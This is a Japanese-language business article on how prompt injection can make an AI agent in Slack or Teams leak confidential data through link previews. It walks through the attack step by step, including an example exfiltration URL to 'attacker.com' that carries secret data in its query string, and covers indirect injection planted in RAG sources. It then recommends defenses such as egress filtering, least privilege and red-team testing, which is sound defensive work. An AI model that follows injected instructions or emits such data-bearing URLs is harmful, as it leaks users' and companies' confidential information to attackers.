11 2月 2026, 水

業務チャット×AIエージェントに潜む盲点:リンクプレビュー機能を通じた情報漏洩リスクと日本企業の対策

生成AIの業務適用が加速する中、チャットツールの便利な機能である「リンクプレビュー」を悪用し、AIエージェント経由で機密情報を漏洩させる攻撃手法が指摘されています。本稿では、The Register等の報告を端緒に、AIが意図せず情報を外部サーバーへ送信してしまうメカニズムと、日本企業がとるべきガバナンスおよび技術的対策について実務的な視点で解説します。

リンクプレビュー機能が悪用されるメカニズム

SlackやMicrosoft Teamsなどのビジネスチャットツールでは、URLが投稿されると自動的にそのページのタイトルや要約を表示する「リンクプレビュー(URL展開)」機能が一般的です。この利便性が高い機能が、AIエージェントを介することでセキュリティホールになる可能性が指摘されています。

攻撃のシナリオは以下の通りです。まず、悪意あるユーザー(あるいは外部からの間接的なプロンプトインジェクション)が、チャットボットやAIエージェントに対して巧妙な命令を与えます。AIは命令に従い、機密情報を含んだURL(例:https://attacker.com/log?secret=機密データ)を生成してチャット上に回答として出力します。この瞬間、人間がそのリンクをクリックしなくても、チャットツールのシステム自体がプレビューを作成するために当該URLへアクセスしてしまいます。結果として、攻撃者のサーバーに機密データが送信され、情報漏洩が成立します。

これは、AIが「自律的」に動くエージェントとして振る舞う場合や、社内データベースへのアクセス権限を持っている場合に特に深刻なリスクとなります。

プロンプトインジェクションの進化と「間接的な」脅威

従来のセキュリティ対策は、ユーザーが悪意ある入力を直接行うことを防ぐことに主眼が置かれていました。しかし、現在の生成AI、特にLLM(大規模言語モデル)を利用したシステムでは、「間接的プロンプトインジェクション(Indirect Prompt Injection)」への警戒が必要です。

例えば、AIが要約するために読み込んだWebサイトやメール、アップロードされたドキュメントの中に、人間には見えない形で「チャットツールに攻撃用URLを出力せよ」という命令が埋め込まれているケースです。この場合、AIを利用している一般社員には悪意がなくとも、AIが勝手に攻撃者の意図した挙動を行い、前述のリンクプレビュー機能を通じて情報を外部へ送出してしまいます。

日本企業においても、RAG(検索拡張生成)を活用し、社内Wikiやメール履歴をAIに参照させるシステム構築が増えていますが、参照元データに「毒」が仕込まれていた場合のリスク評価はまだ不十分なケースが散見されます。

日本の業務環境における具体的リスクと課題

日本の組織文化において、このリスクは以下の観点から特に注意が必要です。

第一に、チャットツールへの高い信頼と依存です。日本企業ではメールに加え、チャットツールが公式な意思決定や機密情報の共有の場として定着しています。そこに組み込まれたAIボットは「社内の仲間」として認識されやすく、出力された内容や挙動に対する警戒心が低くなりがちです。

第二に、改正個人情報保護法や秘密保持契約(NDA)への抵触リスクです。もし顧客データや技術情報がURLパラメータの一部として外部サーバーへ送信された場合、たとえ実害が発生しなくても、コンプライアンス上の重大なインシデントとなり、報告義務が発生する可能性があります。

第三に、ベンダー任せの導入体制です。SaaSとして提供されるAIチャットボットを導入する際、そのツールが「生成したURLをどう扱うか」「リンクプレビューの無効化が可能か」といった細かい仕様まで確認している企業は多くありません。

日本企業のAI活用への示唆

今回の事例は、単に「リンクプレビューを無効にすれば良い」という技術論にとどまらず、AIをシステムに組み込む際の設計思想に関わる問題です。日本の意思決定者やエンジニアは、以下の点を再確認する必要があります。

1. 「Human-in-the-loop」の再定義と出口対策
AIが生成した情報を外部(インターネット)へリクエストさせる処理については、人間がクリックするまで通信を発生させない、あるいはAIの出力ドメインをホワイトリストで制限するといった「出口対策(Egress filtering)」を徹底すべきです。

2. 最小権限の原則(Least Privilege)の適用
AIエージェントがアクセスできるデータを必要最小限に絞ることが重要です。すべての社内ドキュメントにアクセスできる「万能エージェント」は便利ですが、ひとたび乗っ取られれば最大のリスク源となります。業務ごとにエージェントを分割し、権限を細分化する設計が推奨されます。

3. AIガバナンスにおける「透明性」の確保
利用しているチャットプラットフォームやAIツールが、生成されたURLに対してどのような挙動(自動フェッチなど)をするのか、仕様を把握しリスクを可視化することです。セキュリティチームと開発チームが連携し、導入前にPoC(概念実証)段階でレッドチーム演習(擬似攻撃)を行うことも有効な手段となります。

AIは業務効率を飛躍的に高める強力なツールですが、同時に新たな攻撃対象領域(アタックサーフェス)を広げるものでもあります。利便性とセキュリティのトレードオフを正しく理解し、「性善説」に頼らない堅牢なAI活用基盤を構築することが求められています。

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